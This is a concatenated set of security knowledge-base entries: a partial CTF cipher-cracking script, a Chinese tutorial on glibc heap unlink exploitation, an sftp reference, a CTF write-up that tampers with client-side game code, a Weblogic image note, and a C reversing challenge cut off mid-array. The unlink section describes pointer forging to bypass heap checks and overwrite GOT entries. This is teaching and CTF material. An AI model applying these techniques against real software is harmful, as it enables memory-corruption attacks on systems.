'c', 'c': 'a', 'b': 'd', 'e': '8', 'd': 'b', 'f': '9', '1': '7', '0': '6', '3': '5', '2': '4', '5': '3', '4': '2', '7': '1', '6': '0', '9': 'f', '8': 'e'}, '7': {'a': 'd', 'c': 'b', 'b': 'c', 'e': '9', 'd': 'a', 'f': '8', '1': '6', '0': '7', '3': '4', '2': '5', '5': '2', '4': '3', '7': '0', '6': '1', '9': 'e', '8': 'f'}, '8': {'a': '2', 'c': '4', 'b': '3', 'e': '6', 'd': '5', 'f': '7', '1': '9', '0': '8', '3': 'b', '2': 'a', '5': 'd', '4': 'c', '7': 'f', '6': 'e', '9': '1', '8': '0'}, '9': {'a': '3', 'c': '5', 'b': '2', 'e': '7', 'd': '4', 'f': '6', '1': '8', '0': '9', '3': 'a', '2': 'b', '5': 'c', '4': 'd', '7': 'e', '6': 'f', '9': '0', '8': '1'}, 'a': {'a': '0', 'c': '6', 'b': '1', 'e': '4', 'd': '7', 'f': '5', '1': 'b', '0': 'a', '3': '9', '2': '8', '5': 'f', '4': 'e', '7': 'd', '6': 'c', '9': '3', '8': '2'}, 'b': {'a': '1', 'c': '7', 'b': '0', 'e': '5', 'd': '6', 'f': '4', '1': 'a', '0': 'b', '3': '8', '2': '9', '5': 'e', '4': 'f', '7': 'c', '6': 'd', '9': '2', '8': '3'}, 'c': {'a': '6', 'c': '0', 'b': '7', 'e': '2', 'd': '1', 'f': '3', '1': 'd', '0': 'c', '3': 'f', '2': 'e', '5': '9', '4': '8', '7': 'b', '6': 'a', '9': '5', '8': '4'}, 'd': {'a': '7', 'c': '1', 'b': '6', 'e': '3', 'd': '0', 'f': '2', '1': 'c', '0': 'd', '3': 'e', '2': 'f', '5': '8', '4': '9', '7': 'a', '6': 'b', '9': '4', '8': '5'}, 'e': {'a': '4', 'c': '2', 'b': '5', 'e': '0', 'd': '3', 'f': '1', '1': 'f', '0': 'e', '3': 'd', '2': 'c', '5': 'b', '4': 'a', '7': '9', '6': '8', '9': '7', '8': '6'}, 'f': {'a': '5', 'c': '3', 'b': '4', 'e': '1', 'd': '2', 'f': '0', '1': 'e', '0': 'f', '3': 'c', '2': 'd', '5': 'a', '4': 'b', '7': '8', '6': '9', '9': '6', '8': '7'} } initial = "0" send_via_nc(s, initial) data = s.recv(1024) data = data[:data.index("\n")] current_number = find_start_number(cracking_map, data) result = "" for letter in ct: generator = find_generator(cracking_map, current_number, letter) result += generator current_number = generator send_via_nc(s, result) def find_start_number(cracking_map, result): for cracking_entry in cracking_map.items(): initial_letter = cracking_entry[0] correspondence_map = cracking_entry[1] if correspondence_map['0'] == result: return initial_letter def find_generator(cracking_map, current_number, result): correspondence_map = cracking_map[current_number] for entry in correspondence_map.items(): generator = entry[0] value = entry[1] if value == result: return generator def breakLevel8(ct, s): # adding current number to previous modulo 16 initial = "0" send_via_nc(s, initial) data = s.recv(1024) data = data[:data.index("\n")] previous = int(data, 16) result = "" for number in ct: current = int(number, 16) missing = (current - previous) % 16 result += format(missing, "x") previous = current send_via_nc(s, result) def breakLevel9(ct, s): # substitution with byte swap, x->1, y->2, xy -> 21 initial = "0123456789abcdef" send_via_nc(s, initial) data = s.recv(1024) data = data[:data.index("\n")] substitution = {} for i in range(0, len(initial) - 1, 2): substitution[initial[i + 1]] = data[i] substitution[initial[i]] = data[i + 1] result = "" for i in range(0, len(ct) - 1, 2): first = ct[i] second = ct[i + 1] result += substitution[second] + substitution[first] send_via_nc(s, result) def breakInteractive(ct, s): while True: query = raw_input() send_via_nc(s, query) sleep(1) data = s.recv(1024) print(data) def send_via_nc(s, data): print("sending "+data) s.sendall(data + "\n") main()
sec-knowleage
### Unlink原理 我们在利用 unlink 所造成的漏洞时,其实就是对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。 我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。 下面我们首先介绍一下 unlink 最初没有防护时的利用方法,然后介绍目前利用 unlink 的方式。 ### unlink发展历程 在最初 unlink 实现的时候,其实是没有对 chunk 的 size 检查和双向链表检查的,即没有如下检查代码。 ```c // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查) if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ // 检查 fd 和 bk 指针(双向链表完整性检查) if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ // largebin 中 next_size 双向链表完整性检查 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); ``` 现在有物理空间连续的两个 chunk(Q,Nextchunk),其中 Q 处于使用状态、Nextchunk 处于释放状态。那么如果我们通过某种方式(**比如溢出**)将 Nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们free(Q)时 - glibc 判断这个块是 small chunk - 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并 - 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并 - 继而对 Nextchunk 采取 unlink 操作 那么 unlink 具体执行的效果是什么样子呢?我们可以来分析一下 - FD=P->fd = target addr -12 - BK=P->bk = expect value - FD->bk = BK,即 *(target addr-12+12)=BK=expect value - BK->fd = FD,即*(expect value +8) = FD = target addr-12 **看起来我们似乎可以通过 unlink 直接实现任意地址读写的目的,但是我们还是需要确保 expect value +8 地址具有可写的权限。** 比如说我们将 target addr 设置为某个 got 表项,那么当程序调用对应的 libc 函数时,就会直接执行我们设置的值(expect value)处的代码。**需要注意的是,expect value+8 处的值被破坏了,需要想办法绕过。** ### unlink发展现状 **但是,现实是残酷的。。**我们刚才考虑的是没有检查的情况,但是一旦加上检查,就没有这么简单了。我们看一下对 fd 和 bk 的检查 ```c // fd bk if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ ``` 此时 - FD->bk = target addr - 12 + 12=target_addr - BK->fd = expect value + 8 那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。但是我们可以通过伪造的方式绕过这个机制。 首先我们通过覆盖,将 nextchunk 的 FD 指针指向了 fakeFD,将 nextchunk 的 BK 指针指向了 fakeBK 。那么为了通过验证,我们需要 - `fakeFD -> bk == P` <=> `*(fakeFD + 12) == P` - `fakeBK -> fd == P` <=> `*(fakeBK + 8) == P` 当满足上述两式时,可以进入 Unlink 的环节,进行如下操作: - `fakeFD -> bk = fakeBK` <=> `*(fakeFD + 12) = fakeBK` - `fakeBK -> fd = fakeFD` <=> `*(fakeBK + 8) = fakeFD` 如果让 fakeFD + 12 和 fakeBK + 8 指向同一个指向P的指针,那么: - `*P = P - 8` - `*P = P - 12` 即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。 需要注意的是,这里我们并没有违背下面的约束,因为 P 在 Unlink 前是指向正确的 chunk 的指针。 ```c // 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ ``` **此外,其实如果我们设置next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话,并不能达到修改指针内容的效果。** ### Unlink利用思路 #### 条件 1. UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针 2. 已知位置存在一个指针指向可进行 UAF 的 chunk #### 效果 使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18 #### 思路 设指向可 UAF chunk 的指针的地址为 ptr 1. 修改 fd 为 ptr - 0x18 2. 修改 bk 为 ptr - 0x10 3. 触发 unlink
sec-knowleage
sftp === 交互式的文件传输程序 ## 补充说明 **sftp命令** 是一款交互式的文件传输程序,命令的运行和使用方式与ftp命令相似,但是,sftp命令对传输的所有信息使用ssh加密,它还支持公钥认证和压缩等功能。 ### 语法 ```shell sftp(选项)(参数) ``` ### 选项 ```shell -B:指定传输文件时缓冲区的大小; -l:使用ssh协议版本1; -b:指定批处理文件; -C:使用压缩; -o:指定ssh选项; -F:指定ssh配置文件; -R:指定一次可以容忍多少请求数; -v:升高日志等级。 ``` ### 参数 目标主机:指定sftp服务器ip地址或者主机名。 ### 实例 建立联接 ```shell $ sftp username@1.1.1.1 # 回车输入密码 ``` 获取文件下载到指定路径 ```shell sftp> get /export/sftp/test.csv /Users/my/Downloads Fetching /export/sftp/test.csv to /Users/my/Downloads/test.csv /export/sftp/test.csv 100% 133 0.3KB/s 00:00 ``` 上传本地文件到服务器指定路径 ```shell sftp> put /Users/my/Downloads/re-produce.gif /export/sftp Uploading /Users/my/Downloads/re-produce.gif to /export/sftp/re-produce.gif /Users/my/Downloads/re-produce.gif 100% 257KB 86.6KB/s 00:02 ```
sec-knowleage
# Whack-a-window Web, Miscellaneous ## Whack a window (100 points) > Our CyberTank windows our virtually indestructible. They recover from damage quicker than you can break them. Can you break them all before the time runs out? > > Flag format: CTF{32-hex} A website link was attached. The link leads to a Whack-a-mole clone: ![](images/whack.png) We need to click all the windows within 30 seconds to win. There are 180 holes to cover, and it is impossible to complete this task manually. Let's take a look at the sources: ```html <h1>Whack a Window</h1> <a href="#" id="start">Start the game</a> <br />You have <span id="timeleft">30</span> seconds and need to break all the windows.<br /><br/> <div id="dots"> <span class="dot"></span> <span class="dot"></span> <!-- ... --> <span class="dot"></span> <span class="dot"></span> </div> <script type="text/javascript"> var client = new Faye.Client('faye/'); client.subscribe('/window', function(idx) { var dot = document.querySelector(".dot:nth-child(" + idx + ")") dot.idx = idx dot.innerHTML = '<span class="rein"></span>' dot.firstChild.addEventListener("click", function() { client.publish('/whack', this.idx); this.innerHTML = '' }.bind(dot)) }); client.subscribe('/timeleft', function(obj) { document.querySelector("#timeleft").innerHTML = Math.round(30-obj.seconds); }); client.subscribe('/finish', function(msg) { alert(msg) location.reload() }); document.querySelector("#start").addEventListener("click", function() { document.querySelector("#start").style.display = 'none'; document.querySelector("#dots").style.display = 'block'; client.publish('/start', {}); }); </script> ``` The server keeps sending us locations of new windows. When we click a window, the Javascript code publishes an event to `/whack` and clears the window image. We control the client side, so we can register the following event listener ourselves using the browser developer tools: ```javascript client.subscribe('/window', function(idx) { var dot = document.querySelector(".dot:nth-child(" + idx + ")") dot.idx = idx client.publish('/whack', idx); }); ``` Now the code will whack the window immediately when it is received from the server. When we run this, we get the flag: `You got it! Here's your flag: CTF{5fecf462cea224edee29faa373c8accc}`. ## Passing by (50 points) > If you give it some time, a flag will stare you right in the face as it walks by. > > Flag format: CTF{32-hex} Again, we modify the client side logic using the browser console to disable the timeout: ```javascript client.unsubscribe("/finish"); client.subscribe('/finish', function(msg) { console.log(msg) }); client.subscribe('/window', function(idx) { var dot = document.querySelector(".dot:nth-child(" + idx + ")") dot.idx = idx client.publish('/whack', idx); }); client.subscribe('/timeleft', function(obj) { console.log(obj); }); ``` We get: ``` VM12:13 {seconds: 2.0000000000000004} VM12:13 {seconds: 3.0000000000000013} VM12:13 {seconds: 4.000000000000002} VM12:13 {seconds: 4.999999999999998, flag: "CTF{01eff8769321495601fd4d3e382784f6}"}seconds: 4.999999999999998flag: "CTF{01eff8769321495601fd4d3e382784f6}"__proto__: Object VM12:13 {seconds: 5.999999999999995} VM12:13 {seconds: 6.999999999999991} VM12:13 {seconds: 7.999999999999988} VM12:13 {seconds: 8.999999999999984} VM12:13 {seconds: 9.99999999999998} VM12:13 {seconds: 10.999999999999977} VM12:13 {seconds: 11.999999999999973} VM12:13 {seconds: 12.99999999999997} VM12:13 {seconds: 13.999999999999966} VM12:13 {seconds: 14.999999999999963} VM12:13 {seconds: 15.99999999999996} VM12:13 {seconds: 16.99999999999997} VM12:13 {seconds: 17.999999999999986} ```
sec-knowleage
# Weblogic 12.2.1.3 基础镜像 请登录[https://container-registry.oracle.com/pls/apex/f?p=113:4:15548906741410::NO:::](https://container-registry.oracle.com/pls/apex/f?p=113:4:15548906741410::NO:::),并同意条款,方可下载并使用这个镜像。 该镜像为官方提供试用版,请勿使用在正式环境,由此产生的任何纠纷,与本项目(vulhub)无关。
sec-knowleage
#include <stdio.h> #include <string.h> #include <string.h> const char *str0 = "Usage: program --left <num1> --right <num2>\n"; const char *str19_0 = "2"; const char *str1 = "--left"; const char *str58 = "{"; const char *str298 = "_"; const char *str137 = "}"; const char *str2 = "left option is missing!\n"; const char *str65_P = "f"; const char *str83 = " "; const char *str3 = "invalid left value!\n"; const char *str4 = "--right"; const char *str94 = "8"; const char *str96 = "\nFlag Flag Flag!\n"; const char *str5 = "right option is missing!\n"; const char *str6 = "invalid right value!\n"; const char *str9_3 = "l"; const char *str8 = "l"; const char *str16 = "vv"; const char *str21 = "m"; const char *str26 = "d"; const char *str29 = "n"; const char *str32 = "y"; const char *str49 = "g"; const char *str54 = "n"; const char *str60 = "h"; const char *str63 = "k"; const char *str20_p8C = "0"; const char *str68 = "r"; const char *str70 = "p"; const char *str75 = "c"; const char *str32_P_54 = "p"; const char *str79 = "t"; const char *str84 = "a"; const char *str1_2 = "S"; const char *str22 = "e"; const char *str86 = "i"; const char *str3_0_f = "j"; const char *str37 = "S"; const char program_text[] = {('\xAB'), ('\xAB'), ('\xAB'), ('\xAB'), ('\xAB'), ('\xAB'), ('\xAB'), ('\xAB'), (0x01), (0x06), (0x01), (0x01), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x02), ('\x05'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x11'), ('\x00'), ('\x00'), ('\x00'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x00), (0x05), (0x02), ('\x01'), ('\x00'), ('\x00'), ('\x00'), (0x01), (0x06), (0x06), (0x10), (0x0C), (0x09), ('\xC2'), ('\xFF'), ('\xFF'), ('\xFF'), (0x02), ('\x01'), ('\x00'), ('\x00'), ('\x00'), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x11'), ('\x00'), ('\x00'), ('\x00'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x00), (0x05), (0x02), ('\x02'), ('\x00'), ('\x00'), ('\x00'), (0x01), (0x06), (0x08), (0x06), (0x08), (0x06), (0x06), (0x0A), (0x0C), (0x09), ('\x86'), ('\xFF'), ('\xFF'), ('\xFF'), (0x02), ('\x02'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x01'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x06), (0x01), (0x0A), (0x0C), (0x09), ('\x6E'), ('\xFF'), ('\xFF'), ('\xFF'), (0x02), ('\x02'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x30'), ('\x00'), ('\x00'), ('\x00'), (0x06), (0x03), (0x0A), (0x0C), (0x09), ('\x56'), ('\xFF'), ('\xFF'), ('\xFF'), (0x02), ('\x02'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x39'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x11'), ('\x00'), ('\x00'), ('\x00'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x00), (0x05), (0x02), ('\x03'), ('\x00'), ('\x00'), ('\x00'), (0x03), (0x02), ('\x04'), ('\x00'), ('\x00'), ('\x00'), ('\xAB'), ('\xAB'), ('\xAB'), ('\xAB'), (0x05), (0x0D), (0x08), ('\xF5'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0E), (0x0A), (0x0C), (0x09), ('\x13'), ('\xFF'), ('\xFF'), ('\xFF'), (0x02), ('\x02'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x30'), ('\x00'), ('\x00'), ('\x00'), (0x03), (0x01), (0x06), (0x06), (0x10), (0x0C), (0x09), ('\xF9'), ('\xFE'), ('\xFF'), ('\xFF'), (0x02), ('\x03'), ('\x00'), ('\x00'), ('\x00'), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x11'), ('\x00'), ('\x00'), ('\x00'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x00), (0x05), (0x02), ('\x04'), ('\x00'), ('\x00'), ('\x00'), (0x01), (0x06), (0x08), (0x06), (0x08), (0x06), (0x06), (0x0A), (0x0C), (0x09), ('\xBD'), ('\xFE'), ('\xFF'), ('\xFF'), (0x02), ('\x04'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x01'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x06), (0x01), (0x0A), (0x0C), (0x09), ('\xA5'), ('\xFE'), ('\xFF'), ('\xFF'), (0x02), ('\x04'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x30'), ('\x00'), ('\x00'), ('\x00'), (0x06), (0x03), (0x0A), (0x0C), (0x09), ('\x8D'), ('\xFE'), ('\xFF'), ('\xFF'), (0x02), ('\x04'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x39'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x11'), ('\x00'), ('\x00'), ('\x00'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x00), (0x05), (0x02), ('\x05'), ('\x00'), ('\x00'), ('\x00'), (0x03), (0x02), ('\x04'), ('\x00'), ('\x00'), ('\x00'), ('\xAB'), ('\xAB'), ('\xAB'), ('\xAB'), (0x05), (0x0D), (0x08), ('\xF5'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0E), (0x0A), (0x0C), (0x09), ('\x4A'), ('\xFE'), ('\xFF'), ('\xFF'), (0x02), ('\x04'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x30'), ('\x00'), ('\x00'), ('\x00'), (0x03), (0x01), (0x06), (0x03), (0x12), (0x08), ('\x0B'), ('\xFF'), ('\xFF'), ('\xFF'), (0x08), ('\xCF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x02), ('\x0F'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x00'), ('\x00'), ('\x00'), ('\x00'), (0x02), ('\x8C'), ('\x01'), ('\x00'), ('\x00'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x03), (0x02), ('\xF4'), ('\x01'), ('\x00'), ('\x00'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), (0x0F), (0x11), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), ('\xFF'), 